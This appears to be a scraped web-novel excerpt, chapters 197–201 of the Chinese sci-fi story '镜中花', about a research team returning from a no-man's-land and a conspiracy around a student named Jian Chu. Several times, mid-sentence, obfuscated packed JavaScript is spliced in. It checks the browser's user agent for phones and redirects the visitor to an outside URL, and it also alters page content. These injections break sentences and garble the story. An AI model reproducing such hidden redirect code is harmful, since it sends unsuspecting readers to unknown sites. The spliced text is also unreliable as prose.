“这是件很困难的事吗？” 因思禾摇摇头：“不是困难，是不可能，不管从哪一方面来考虑，都是根本不可能的事！” 她焦躁地咬了咬手指，眼神看向傅燃：“你呢，你什么感觉？” 傅燃的眼皮颤动了一下：“我感觉很好，前所未有的好，而且……我确实能感受到陌生精神力的存在。” “没有排斥反应吗？” 平日里，就连普通的精神检查、精神疏导，治疗师和患者都会发生不同程度的排斥反应，这也是为什么高等级的精神疏导治疗师会那么抢手的原因。 等级越高，排斥反应会越小，因为患者的精神力会受到压制。 据她所知，傅燃的精神力素质并不算低。 “没有。”傅燃斩钉截铁，“从一开始就没有任何排斥反应，而且我记得，简初在课上给我和另一个朋友做过精神检查，那时候我就发现，整个过程很顺利，丝毫没有任何痛感。” 简初挠挠脸颊：“这样吗，我以为这是正常的。” 嘶，她是不是不小心说多了？ “这不算什么吧，思禾你以前给我做疏导的时候，我也没感觉啊。”傅遥歪歪头。 “但我的精神力素质等级是SS，全联邦达到这个级别的两只手都数的过来。”因思禾的表情并没有因此松懈下来，“你的等级是多少？” “啊，这个，上次检查是A级呢。”简初的语气有些心虚。 因思禾立刻摇头：“这不可能，傅燃去年的精神力等级我记得是B+，这个差距不足以产生碾压级的压制。” “入学考试的时候，那个特级是你吗？”傅燃突然开口，“我偶然在办公室听见老师们闲聊，说我们那一届有个特级精神力，但入学后的检测结果却并不理想。” 按照她之前的经历，入学检测时的数据应该是精神力爆发的结果，也许受到了超常发挥的影响，但这种事有心人很容易查到，不需要特别隐瞒。 简初深吸一口气，迎着三人的目光慎重点头。 “确实是我。” 197. 镜中花（18） “喂，你还没缓过神呢？”傅遥伸出胳膊肘捅了捅一脸空白的因思禾。 因思禾扭了扭肩膀：“特级是军校内部的等级划分，你还记得我们上学的时候，所有S级及以上的等级统一称为特级。” “我当然记得。”傅遥点点头。 这样的规则也是血泪的教训，在几十年之前，曾经有反动组织策划了针对高等级学生的“绞杀行动”，那一年唯一的SS级学生还没真正开始发光发热，就死在了毕业前夕。 不管是精神力素质还是身体素质，每高一级之间的差距就越大，A到S再到SS，中间相差的力量几乎是指数级的，而失去一个SS级别的年轻人是全联邦的重大损失。 “这种级别的人多少年才能出一个，从那年开始，军校内部就不再划分具体等级了。” 说到这里，两人的语气都不免有些沉重。 尽管S级就足够对傅燃产生碾压效果，但因思禾却觉得没那么简单：“她很聪明，不仅感觉到程源对她有所图，甚至早早就开始隐藏实力，来保全自己。” 如果简初在这，只会尴尬一笑。 她能说不记得之前都发生过什么吗？ “不管怎么样，现在必须确保她安稳毕业，最好能把她调进协会。”因思禾叹了口气，“她的能力去那里绰绰有余，我反而怕她不愿意。” 尽管相处的时间不长，但她能看出这个小姑娘很有自己的想法，如果强制安排，说不定会引起对方的逆反。 不过傅遥却有别的打算，她若有所思，拖长了音调：“我觉得吧，这事还是先顺其自然吧。” 因思禾不太理解，作为傅燃的亲姑姑，傅遥一直为他的精神力情况操碎了心，怎么想也不会说出这种话。 “顺其自然是什么意思？” “他们是朋友啊。”傅遥微笑，“我们这些个中年人，还是别瞎掺和了。” …… 简初刚从帐篷里出来，就感受到好几道视线落在身上，但她面不改色，径直去取了些物资，安静地找了个地方啃起来。 不远处的伊森也看向她，他很想知道究竟发生了什么，但这里人多眼杂，不宜过多接触，只能趁着简初抬头的空隙交换了一个眼神。 傅燃咬了一口面包，眉眼压低看着他们的小动作：“你和他很熟？” “嗯？”简初嚼嚼嚼，歪头凑近了一些，“你说什么？” 这个距离，傅燃感觉自己的精神力快被引动了。 “我是说，你和伊森很熟吗？”不希望别人听见他们的话，他犹豫着凑近简初耳边。 “啊，一点点吧。”简初随口说，看上去并不想解释太多，但却感觉到身边的人气压有点低。 怎么突然就不开心了？ 就算傅燃掩饰了原本的面容，还是能从表情上看出他的心情此刻不算美妙。 他没再回答，只是安静地进食，但眼神不经意从伊森的背影掠过，鼻腔发出一声微不可察的冷哼。 等他们吃完，因思禾和傅遥也出来了。 “各位，抓紧时间收拾一下东西，特别是从天坑里采集到的资料，一定要保管好，我们准备返程了。” 一声令下，众人立马就行动起来，幸好之前派人回去时考虑到车辆空间的问题，就算现在多了个简初和晕着的林愿，也勉强可以挤挤。 “这个时间，总部应该已经得到消息了。” 既然已经知道N62站点受到袭击，里面的设施基本也无法使用，因思禾直接将目的地改为N58。不过顺路还是得看看那边的情况，以及……其他人的踪迹。 “按照时间来算，他们应该已经到N58了。”傅燃低声说，对于那两名合作已久的同伴，这点信任还是有的。 遭遇二次袭击确实是意料之外，保护剩下几个工作人员对于林豹双和黎取来说，完全是小菜一碟。 此时的启明星已经是一片鸡飞狗跳，但和因思禾预想不同的是，杨树暂时没有把辐射源的事情上报。 其实发生了这种大事故，无论上报与否都是可以理解的，因为对于事件走向的预估不同，所以决策时也会有不同的倾向。 对于启明星来说，目前只是发现无人区的辐射消失，除此之外没有得到任何相关信息，自然会认为这也许只是一次数据波动。 尽管这样的情况从未出现过，但在无人区一切皆有可能。 杨树不允许在这种情况下盲目上报数据。研究所总部乃至联邦高层要的是完善的汇报，等辐射恢复之后，将情况整理成清晰的数据，汇总后上报才是最合适的。 只是，如果她知道里面发生了什么，大概就不会坚持这样的想法了。 “各位，麻烦把数据仔细记录好，再附上一份可能性分析。” 安排好工作，她才有些不安地回到顶楼的办公室。 启明星整栋楼都是高强度建材，通透的落地窗光是厚度就有差不多半米，但光的折射率却没有受到太多影响，完全可以清晰看到远方的地平线。 正当她沉思之时，办公室大门却被人猛然敲响。 “所长！里面出事了！” …… 联邦研究所，总联络部。 偌大的空间里，无数小隔间密密麻麻排布着，坐在其中时或许还觉得空间比较宽敞，但站在二层往下看却会让人感受到一丝不适。 “铃铃铃”的电话声此起彼伏，偌大的联邦主星，联研所的下属分部数量众多，而联络部作为一切事务的中转站，从来没有过空闲的时候。 他们会根据各分部汇报的事件和诉求，为其转接响应的部门，当然，价值不大的问题会在这里被直接拦截，由联络部直接给予标准的答复。 不过，某一些地位特殊的分部自然有不同的待遇。 无人区研究所的紧急电话会直接接入副部长的内线，比如现在，席秋面前的座机就响了起来。 这位中年女人有着一张相当知性的面孔，和表姐席如风不同，她的脸型更为圆润，鼻梁上的银边眼镜却很好中和了这一丝柔和，多了点干练。 “杨所长，今天怎么有空联系我了？” 这种时候，对方显然不会找她闲聊，但平静温和的语气有助于稳定对方的情绪波动，让接下来的交流更为顺畅。 “是这样的。”听到电话那头的声音，杨树果然深吸一口气，稳住了自己的声线，“无人区腹地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228558|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现了一些变故，因思禾博士在调研过程中派人送回消息，说是观测到一个纯白色的屏障，它拒绝所有人进入，甚至可以反弹所有的物理攻击，还能吸收异能。” 她的语气越来越急切：“就在刚刚，启明星发现无人区内部的辐射消失了，但根据时间研判，因博士安排人送回消息时，辐射应该还保持着平均水平。” “所以这两件事之间没有关联？”席秋回应着，另一只手拨通了部长的电话。 杨树：“现在还不能确定，我现在没法联系到因博士，我想总部或许会有应对的办法。” 这话就差把“我们需要支援”写在明面上了。 可与此同时，部长却拒绝了席秋的会面申请，理由是正在会见贵客。 女人眉头紧紧拧起，但对方已经切断了通话。 “席部长？”电话那头的杨树催促道。 席秋揉了揉眉心：“我马上把情况上报，麻烦你们保持警惕，发生突发情况第一时间和我联系，另外，如果和因博士取得联系，请让她尽快给我回电。” 杨树也明白，这种事不是一个人说了算的，但至少现在上级已经知道情况，自己也能稍稍安心一些。 “我知道了，这边会安排好的。” …… 太阳开始西沉。 越野车开得摇摇晃晃，简初也晕沉沉的，这段时间精神都相当紧绷，不管是哪个世界，都有种刚挑完BOSS的疲惫感。 她的脑袋不停左右摇摆着，让人担心会不会某一刻突然磕到地上。 “小心点。”傅燃的掌心抵着她的额头，让简初靠在车厢上，另一边的莫景看了她一眼又一眼，最终还是鼓起勇气伸出了手。 “最后一颗。” 她小心地把掌心的酸砂糖塞进简初手中，体温将硬糖的表面融化，捏上去有种微妙的软烂。 简初捏着糖上下打量了片刻，依稀想起自己当初似乎就买了一袋酸砂糖送给她。 “你很喜欢吃酸砂糖吗？” 轻声的问询，让身边两个人的视线都落在那个包装得五彩斑斓的硬糖上。 莫景沉默了两秒，才慢慢点头：“算是吧，它对我来说有特殊的意义。” 她这么说着，眼中带着微弱的希冀瞥过来。 简初瞬间就明白了她话中的意思。 在衔尾巷时，自己本以为莫景喜欢吃酸砂糖，才会顺便买了一袋，结果却阴差阳错，成为她喜欢酸砂糖的契机。 是了，以当时的生活条件，莫景哪有多余的钱去买糖吃。 但这些事简初并不打算告诉任何人，因为一旦说出口，就意味着自己完全放弃了对它的掌控。 车辆就这么一直摇摆着，经过了满目疮痍的N62站点，因思禾还特地下来看了两眼，最后做出“活下来真是幸运”的评语，又踏上往N58的路。 站点之间的距离要短很多，没多久，车辆就进入了N58站点刚搭建起来的信号发射区。 “这里是探索小队，请求通话。” 车辆频道中响起“沙沙”声，众人屏住呼吸，终于从中间听到了回答。 “N58站点已收到，请各位放心前进。” 198. 镜中花（19） 林豹双站在门口翘首以盼，当看见简初从车厢后门跳下来时，整个人完全懵了。 “你掐我一下，我是眼花了吗？” 黎取张了张嘴，伸手捏了捏自己的胳膊，感受到一阵刺痛：“好像……是真的。” 紧跟着女孩后面跳下来的是他们无比熟悉的队友，然后所有人一个不落，从两辆越野里鱼贯而出。 “我的天……”林豹双向前小跑了两步，脸上满是兴奋，“太好了，你没事！” 虽然不知道简初为什么会和大部队碰上，但这样的结果当然是喜闻乐见的，不过面对一脸平静的傅燃，两人还是略微有些心虚。 “这次确实是我们的失职……” “好了，现在不说这个。”简初先抢断了话头，她微微侧头看向傅燃，挑挑眉，“也不能算是他们的错，嗯？” 结合之前几次的交手，已经能看出来这群人里的领头人应该就是傅燃，不知道协会内部的管理制度是怎样，但至少这次的意外并不是其他人的错。 很多事环环相扣，尽管中间经历了很多波折，但结局……应该还算是好的。 那群人会在别的世界幸福的吧，就算有暂时的辛苦，至少还是属于自己的。 “你是当事人，你说了算。”傅燃的眼神相当柔和，但转眼看向对面两人时却带着点莫名的杀气。 “吸取教训。” 自知理亏，林豹双和黎取只能老实点头。 一直沉默的安栩见状，脸上也露出点笑意。他此行的唯一任务就是保护因思禾，现在终于回到相对安全的地方，一直绷紧的弦也可以松点。 或许是因为期间没用过异能，他感觉精神状态都要比之前好上不少，看来以后还是要注意休息。 一群人挤进来，站点里顿时有些无处落脚。 因思禾不打算在这停留，第一是考虑到站点容量有限，这么多人没办法安置下来，第二则是……这一趟行程变故太多，原先的计划也几乎失去了意义，最好的选择就是尽快回程，把手头现有的样本和数据固定下来。 “借用一下，我给杨树所长打个通讯。” 工作人员赶紧把内线交给她，转身带上了屋门离开了。 这通电话异常简洁，毕竟现状已经完全超出分部自行处理的能力范畴，因思禾叮嘱杨树做好数据监测，一切等总部定夺之后再做打算。 对于这样的安排，杨树自然是连连答应：“没问题的因博士，我们的监测数据一直是全天候，绝对不会出问题，不过我之前和席部长联系过，她在等您的联系呢。” “多谢杨所长，我知道了。”因思禾本来也要和席秋联系，不过这种事不必费口舌多说。 这边电话挂断，席秋的通讯就被分部转接了过来。 “谢天谢地，你没事就好。” 电话那头的声音长出了一口气，因思禾也露出一丝带着疲倦的微笑：“让你们担心了。” “最担心你的那几位都快把我电话打爆了。”席秋无奈摇头。 先不提因思禾在联研所的地位，就光是她担任了好几位高层领导的治疗师这件事，就足够那群平日里不苟言笑的老家伙轮番电话轰炸。 “我做事自己有数的。” 领导的赏识有时也会带来一些烦恼，但总体来说并不算坏事。 当初斯塔集团提交的报告中虽然没有提到具体的人员折损率，单从支出费用之类的数据已经能看出端倪，所以因思禾在安排本次行动时已经相当保守。 但保守也奈何不了麻烦主动找上门。 “现在需要我这边做什么吗？辐射的事情上头已经知道了。”席秋的语气迅速沉稳下来，“要抽人的话，名单我已经差不多准备好了，随时都可以……” “不用。”因思禾打断了她，“我准备提前回程，麻烦你让所里腾出几间实验室，我要把样本和数据都带回去。” 她的语速很快，席秋只能被动接收信息。 “；另外，我需要明天的舰船，我不打算浪费时间，直接回分部，会以最快的速度赶回去。” 席秋讶异：“这么急？” 按照最初的行动计划，他们大概会在无人区内停留至少两个星期，但现在…… “嗯，还有很多事要调查清楚。”因思禾语气沉沉，莫名让人心头一紧，“接下来的分析工作怕是个大工程，这两天发生了太多事，电话里也说不清，回去之后再汇报把。” “行，那我去给你申请，不过你也别太拼了，身体最重要。” “我有数的。” 挂断电话，因思禾忍不住揉了揉额角。 她之所以这么着急，也不仅仅是考虑到无人区的变故。 尽管现在团队明面上还算和谐，但米勒尔和程源现在都是不稳定因素，说他们心怀鬼胎或许太过，但总之都有自己的小心思，如果没出这些事她或许还有心思试着挖出点什么，但现在……还是算了吧。 人的精力是有限的，她能有今天，也是因为对自己有着清晰的认知。 “我有数”这话可不只是说说而已。 就光是她注意到的，程源已经明里暗里瞥了简初不下五次，那小丫头心理素质倒还挺好，丝毫没露怯，但这样也不是办法。 至于米勒尔，那更是只老狐狸，就算有林愿会向他汇报情况，但这个人性格多疑，肯定想拿到更多的消息。 简初无疑是最好的切入口。 如果这两个人联合起来下手，那真是防不胜防，最好的办法就是直接“物理隔离”，避免简初和任何可疑人物接触。 之前的“入职邀约”也许只是一个玩笑，但现在……她是真的动了心思。 这种好苗子，可不能被折腾没了。 …… 第二天下午，联邦研究所。 就像是做了一场梦，众人马不停蹄赶回了主星，明明前一天还在无人区的越野车上颠来颠去，现在就已经坐在大会议室听总结了。 本来是打算明天再开的，但大家的意见是想赶紧结束，好好放松休息，而不是还要被脑中吵醒。 简初窝在沙发椅中，大脑已经完全放空。 不过万幸的是，这场总结会开得很快，因思禾好声好气送走这群领导，才叹气看向众人。 “我知道大家都很累，我就长话短说。” 她一脸疲态，眼下满是青黑，比起只要在旅途中补眠的其他人，因思禾要考虑、协调的事情很多，所以几乎是没闭过眼。 “虽然我们离开了无人区，但任务并没有结束，我们只是把研究样本的场地从无人区搬回了研究所。” “当然，既然已经回来，除了研究人员之外的各位都可以回家了，毕竟这里不再有危险。” 她努力让氛围变得轻松些，大家也都露出微笑。作战人员结束任务当然高兴，而研究员们也能继续参加心心念念的样本分析工作。 毕竟这样的机会千载难逢，最艰难的探索期也已经结束，没有人会在这种时候放弃。 “辛苦各位，待会有人为你们安排房间，大家短时间内应该都会住在所里。”因思禾环视一圈，“没有问题的话大家可以解散了，休息一天，我们后天开始正式工作。” 众人纷纷散开，她也看见人群后静立的米勒尔。 他的两个孙子一左一右站着，脸上的表情却截然不同。 凯文面露不甘，刚张嘴想要说什么，就被米勒尔冷冷瞥视，也只能老实闭嘴。 “伊森有幸得到博士您的关注，还请多多照顾他，有什么做的不好的直接说， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莫景感受到两人的视线，实在忍不住开口：“你们在说我吗？” 这下所有人都看过来，让她立即收了声。 “有点小事需要你配合，你不会告诉别人的吧？”简初笑眯眯。 “啊？”莫景犹豫地点点头，“嗯，我相信学姐……不会害我的。” 因思禾：…… 这怕是被卖了都会帮忙数钱吧？ “她是目前唯一的实验体，机不可失啊博士！” 莫景微微睁大眼，对于她们的聊天内容有了些许猜测，放在身前的手忍不住紧紧交握。 “哪儿来这么多怪话？”因思禾的语气似是责备，但表情却温和，“好了，现在都去休息，还有你们几个也是，等明天做完检查再走。” 中庭协会的三人连连点头。 他们的房间都在因思禾的休息间附近，近日的奔波让人身心俱疲，草草打过招呼便各自关了门。 “学姐！” 简初重新拉开即将关闭的房门，抬眼看过去，莫景一脸腼腆，似乎是欲言又止。 “还有什么事吗？” “没有。”女孩的脑袋摇得像拨浪鼓，“就是……谢谢你。” 简初微微侧过头，半长的发尾扫在锁骨上，就像她的话扫在莫景心头。 “我们是朋友啊。” 愣愣看着那扇关上的门，莫景倏忽间释然。 过往的记忆已经不重要了，这句话就是自己一直想要得到的东西。 不是擦肩而过的陌路人，也不是客套的前后辈。 而是朋友。 199. 镜中花（20） 一辆飞艇在空中滑行。 相比于它低调的外形，内饰却是极尽奢华。 窗外的高楼逐渐变成郁郁葱葱的树林，斯塔家的主宅在树林掩映中露出一点尖角，随后整个庄园尽收眼底。 凯文却无心去看，只是满脸不开心地垂着眼皮。 “你还给我不服气？让我说你什么好！”米勒尔厉声训斥，随行的人眼观鼻鼻观心，都不敢发出一点声音。 “学校学校考不上，模拟大赛表现一团糟，这次带你去露脸，你倒好，每天都悠悠闲闲地到处乱晃！”米勒尔脸都气红了，“你还跟你哥比！他去实验室帮忙的时候你在干什么，知不知道得多刷刷存在感，现在这样能怪谁！” 凯文看出他正在气头上，不敢出言反驳：“对不起祖父，可是那些人根本不给我机会，特别是因思禾那个……” “行了！”米勒尔直接打断他，烦躁地挥挥手，“你这个表现，谁能看得上你，难道要我替你低声下气去打招呼吗？！” “……我不是这个意思。”凯文脸上青红交加。 米勒尔从来没有对凯文说过类似的话，“谁能看得上你”在此刻已经很严重了，这让沉不住气的年轻人更加忿忿不平。 “你别说伊森，就连那个简初……你能不能跟人家一样学聪明点？” 明眼人都能看出来，因思禾最开始应该不认识对方，但从那天遭遇袭击开始，中间似乎发生了很多事，双方的关系突然就密切起来。 米勒尔也知道有很多事是得看机缘的，毕竟如果那次亲历袭击的是凯文，以他对这兔崽子的了解，能不能活下来都是个问题。 明明也没废物到那种地步，怎么做事就是不爱过脑子。 “算了，你别跟他们比，现在把心思都放在集团上，至少这段时间伊森不在，你好好在大家面前把形象立起来。” 理智告诉米勒尔，伊森·斯塔才是最合适的接班人，但人往往会有执念和私心，他自己也不能免俗。 那孩子再厉害，和自己之间有隔阂，他实在是没法放心。 “先生，到家了。” 眼见两人不再说话，崔斯特立刻下车，打开了后排的门。 米勒尔从鼻腔中沉沉呼出一口气，下了车回头看向里头的人：“好了，拉着脸给谁看呢，赶紧先回去休息，想想之后的打算，明天上午来书房跟我汇报。” “好的，祖父。”凯文下车站在一旁，老老实实低垂着头，直到米勒尔的背影消失在视线中，才缓缓直起腰。 …… 几乎是在中央城区相对的星球另一端，荒凉的北亢区郊外坐落着一座工厂。 经过数十道过滤的烟雾从直冲云霄的烟囱中缓缓升起，弥漫成一团灰蒙蒙的雾气，淡淡的药味充盈在鼻腔，但这里的工人们早已习惯。 在距离工厂大约五百米的位置是一排高高的围栏，每隔大概五十米挂着一个“内有剧毒物质，请勿靠近”的牌子，上面还用红色油漆画了一个醒目的禁止图标，远远看上去像一只血淋淋的手印。 但这里人迹罕至，除了在这里上班的工人，就只有头顶掠过的乌鸦，就连地上的草皮都是一副蔫哒哒的模样。 但沿着深深扎进土壤中的围栏往下两百米开外，原本应该充满腐殖质的土地中却出现极其坚固的金属墙面。 这里是温弗拉的基地。 之一。 “嗯，放心好了，一个小屁孩，我还能应付不过来。”飓风坐在办公室的沙发上，一条胳膊支着椅背，指间不断按动着一个闪亮亮的打火机。 电话那头的约瑟夫呵呵一笑：“有时候就是这种蠢人误事，给他吃点甜头差不多了，主要还是要达成我们的目的，我刚拿到消息，说是见到因思禾出现在联研所，我估摸无人区里发生了什么事，让他们提前回来了，你找个机会探探。” “那小子估计知道的内容有限，不过好骗得很，随便说两句就什么都……” 飓风突然收了声，紧皱眉头站起身，拿起办公桌上另一支不停振动的终端。 “呵，他居然主动联系我了，我先跟他聊聊。” “嗯，你去吧。” 飓风脸上挂着饶有兴致的笑容，慢吞吞接起了来自凯文·斯塔的电话。 另一头的年轻人有些心急，似乎很担心这通电话打不通，在飓风接起的瞬间便迫不及待开口：“我答应你的事做好了，现在是不是该轮到你了？” 真是沉不住气。飓风心想。 “别急啊。”那头悠然的声音成为压垮凯文的最后一根稻草。 “你又想怎么样！我们之间是合作！不是你单方面来指挥我！”他用最后的理智压低自己的音量，尽管庄园房间的隔音非常好，但架不住他心里有鬼。 “如果继续这样，我只能和你终止合作了！” 看来小鬼恼了，不知道最近几天经历了什么，把人折磨成这样，但飓风对此喜闻乐见。 毕竟对方越压不住情绪，做事就越容易不过脑子，而自己就能从中间得到更多。 “哎，都说了你别急。”飓风装模作样叹气，“虽然你按照我说的做了，但是你还没把我想要的东西给我呢，怎么能算是达成了一次交易呢？” 凯文被他的话气得喘了两口粗气，却又不得不承认对方说得在理：“那你想要什么？” 在他看不见的电话那头，男人无声闷笑，忍不住单手从旁边的架子上抽出一根烟叼在嘴里：“这么简单的事你也想不明白，我当然是想知道你们在无人区发现了什么？” 对于这种脑子本来就转不过弯的人，直来直去最合适不过了。 “怎么不说话了，总不能告诉我你跟着跑了一趟，却什么都不知道吧？” 凯文沉默着陷入思考，他其实并不算愚钝，只是和周围的人比起来太过逊色，导致每个人乃至自己都对他的能力不抱希望。 对方到底想知道什么，或者说，对方究竟在意的是什么，他不能太早把一切和盘托出，否则这男人得到自己想要的东西之后，必定会翻脸不认人，他不能去赌这样的概率。 但凯文其实并没有信心。 正如米勒尔说的，他并没有接触到行动的真正核心，自己知道的那些事，只要参与了行动的人都知道，这样的情报足够引起这个男人的兴趣吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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电话那头迟迟没有回应，让凯文的心又提了起来。 “可以。” 这道声音犹如天籁，让他忍不住露出笑容：“那就说好了，等你们……” “不过你得先告诉我点什么。”飓风靠在老板椅上，双脚交叠搭在桌面，丝毫不见严肃或紧张之色，“我得确认你是真的知道，而不是在诓我。” “我……”凯文的大脑急速转动，“我们在无人区发现了有人生活的痕迹。” 他的措辞尤为谨慎，生怕对方从中得到关键信息。 “这之后还发生了很重要的事，等你把事情办完，我再告诉你，所以你得快点。” 生怕对方失去兴趣，他赶紧又补了一句，心脏已经紧张得嘭嘭直跳。 许久后，终于听到了那个他想要的答案。 “行，你等着吧。” 电话被挂断，发出“嘟嘟嘟”的忙音，但此刻凯文的心境已经和方才截然不同。 他既兴奋又紧张，忍不住将终端放在胸口，闭上眼平复自己的心跳。 没错凯文，你可以做到的，你可以和别人平等地谈判，你可以用自己手上的资源换取想要得到的任何东西，这并不可耻。 斯塔一族的家训，向来如此，你只是认真贯彻了它。 你只是更像祖父了。 200. 镜中花（21） 飓风挂掉电话，最后吸了口烟，才把它掐灭。 “普蓝，过来。” 没等联络器那头有回应，他就直接切断了，片刻之后，一个年轻人小心翼翼敲响了门。 “有个人查一下，最近要动手。”飓风甚至没给一个眼神，只是伸手点了点桌上的白纸，上面写着某人的名字和几个关键词。 “联邦军校的，查完没问题就直接动手，直接跟我报告结果就行。” 普蓝小心翼翼抽走桌上的纸：“好，我知道了。” 直到离开办公室走出去两步，他才松了口气。 “又有任务了？”旁边的同时推着椅子划过来，好奇地盯着他看，但普蓝也不知道现在能不能告诉别人，只能含糊地应了一声，转而登入了内部数据库。 组织收集而来的数据都在这里，不过因为级别不同，所以访问权限有限，如果不是什么重要角色，估计不会有信息…… “诶？” 屏幕中跳出一条消息，但大多数的信息都加了密，处于无法查看的状态。 为什么内部数据库能查到，应该只是巧合吧？ 普蓝挠了挠头，还是点了进去，这下一眼就看见上面飘红的几个字。 [隶属后勤辅助团队，请向负责人路亚申请调阅权限。] 可如果申请了权限，岂不是任务就泄密了，虽然大家都是一个组织的成员，但普蓝很清楚，他们行动组和后勤组派系不同，很多事都要防范着对方。 算了，先找找别的信息，再问问飓风该怎么办吧。 优柔寡断不是普蓝的性格，尽管他平时话很少，看起来也有点怂怂的，但行动组哪有真怂货，再加上负责人飓风是个说一不二的狠性子…… “先把其他信息整理好吧，联邦军校……” …… 第二天一早。 简初推开房门，整个走廊空无一人，甚至一点声音都听不见，墙上甚至还挂着一个“请勿喧哗”标牌。 实验室门上亮着，这个时间，因思禾应该在跟中庭协会的人做检查。 她按响门铃，几秒后就有人来解了门禁。 “你来了，他们快好了。”傅遥打量她一眼，“看起来昨晚睡得还不错。” “还行。”简初点点头，“莫景还没来？” “待会再喊她过来。” 说着，因思禾手头的工作也差不多全部结束，她露出一个轻松的微笑，看上去结果应该还不错。 这却让简初微微蹙眉，下意识看向安栩。 虽然不知道他们的名字，但她可是记得在无人区时帮忙做精神疏导，发现这个人的精神核心出现了一条细窄的裂缝。 因思禾没理由看不见。 总不能是小触手缝的那一针给治好了吧，虽然简初自己也想过这个可能，但这才几天时间，是不是太快了？ “那个……”她往傅遥身边凑了凑，状似闲聊，“你们应该不会让精神力紊乱综合征的患者继续工作吧？” 意料之中，对方露出讶异的神情。 “你在开玩笑？当然不会！” 特战中心的异能者都是优中选优，这也意味着他们一旦不受控制，破坏力会比一般异能者更强，所以联邦对此有着非常严格的要求。一旦出现早期症状，并有任何余地直接退休，联邦会负责病症相关的全部医疗费用，并按照退休前的工资按比例发放每年补贴。 尽管听上去很诱人，但并没有人会希望用健康和寿命来换。 简初点头附和：“那还挺人性化的。” 傅遥倒是看了她一眼，不过作为在校学生，不清楚这些事也是可以理解的。 另一边，因思禾也松了口气，毕竟是为了帮她的忙借来的人，总归得全须全尾送回去才行。 “都没问题，这段时间辛苦了，回去好好休息。” 简初看着傅燃把他们都送出去，估计是要私底下说些什么。 “打个通讯，让莫景过来吧。”因思禾把一旁的设备恢复到默认值，才伸了个懒腰。 她并不希望莫景的检查数据被上传到核心数据库，所以暂时切断了云端功能，尽管本地数据她也没法删除，但至少没人会来检查她用的仪器设备记录。 程源做这种事，背后肯定有人指示，她必须确定不会打草惊蛇。 “我以为你会亲自检查，要用设备？”傅遥忍不住伸手摸了摸茧型舱光滑的外壳，这手感真让人上瘾。 因思禾倒是好脾气笑笑：“我也会害怕啊，毕竟不知道她现在的实验进程，如果贸然进入链接状态，伤到自己怎么办？” 对于未知，她相当谨慎。 因为莽撞的人，没有好下场。 因思禾微微压下嘴角，听见大门开启，才转头看过去：“来了，躺进去吧。” “别紧张，很快就好。”见莫景躺下，但手还紧紧抓着衣角，她还是开口安抚了一句。 这间实验室的设备完全按照因思禾的个人习惯和经验进行默认设置，再加上是联邦最先进的系统，所以检测全程几乎完全自动，不需要人为介入。 她并没有询问简初其他情况，对于这种级别的研究员来说，其他人的经验反而会扰乱思绪，影响自身的思考和判断。 “这些数据你看得明白吗？” 出于某种类似于惜才的情绪，因思禾示意简初到自己身边来，而她面前正是实时计算的数据。 “军校应该不教这些，可以先接触接触。” “表层空间？”简初忍不住皱起眉头。 她看过的教科书里可没提到过这个概念。 因思禾反而笑了：“果然，这么些年过去，他们还是不敢把这些放进学生教材里。” 年轻人的冒险精神很强，本来精神疏导就是一件不算简单的事情，有些学生还没有到高年级，看过书就想尝试，直到惹出麻烦来才长记性。 “正常来说，精神疏导是不会有后遗症的，但前提是没有进入底层空间。”因思禾伸手点了点屏幕，“她的表层空间目前一切正常，但底层空间的精神波谱有点问题。” 确实有一个数据被设备标红，旁边还有个向下的箭头。 “波谱拟真度？”简初轻声念出这个从未见过的专业名词，“这个数据偏低是什么意思？” 她疑惑地看向因思禾，却发现对方的表情没有刚刚那么轻松了。 下一秒，机器就发出“滴滴滴”的报警声，这下本来在一旁聊天的傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“可是……” 话音未落，因思禾已经二话不说，开始了深层链接。 简初忍不住开始啃咬手指，她不免想起那时见到的宛如活物的东西，而在小触手将其吞噬之后，莫景的实验进度也发生了倒退。 那绝对是关键，但如果是因思禾所说的精神力移植，哪有人身体里会有这种东西，而且程源研制的产物是药剂，怎么可能通过药剂注射来移植精神空间这种虚无缥缈的东西。 精神空间可不是实质性的器官，相比之下，它的存在概念倒是更接近“灵魂”。 另一边，因思禾已经轻车熟路通过精神核心的同频，进入了底层空间，这种事对于高等级的精神力者完全是信手拈来。 与表层空间不同，这里的一切仿佛被折叠了千百次，很多思维和记忆会漂浮在这里，形成一片如同星云般绚烂的光团，解析起来确实相当困难。 但因思禾自然有办法。 再多错综复杂的画面不过是记忆乱流的幻影，她要找的，是每个人最本质的自我。 灵魂的婴孩于此处酣眠，但本应安详的“床铺”却被黑潮环涌。 ……找到了。 201. 镜中花（22） 简初双手抱胸，眼神紧紧盯着仪器屏幕上波动的数据，她面色相当沉静，但整个人都处于紧绷的状态。 希望因思禾能有所发现，最好能有解决的办法。 如果她们不想惊动程源，那莫景和自己势必要继续参与整个项目，甚至需要从中拿到数据或者样本也说不定，但如果没有防范或者解决的办法，那不就是以身试险。 那如同活物一样的东西是如何进入精神空间的，她到现在都想不通。 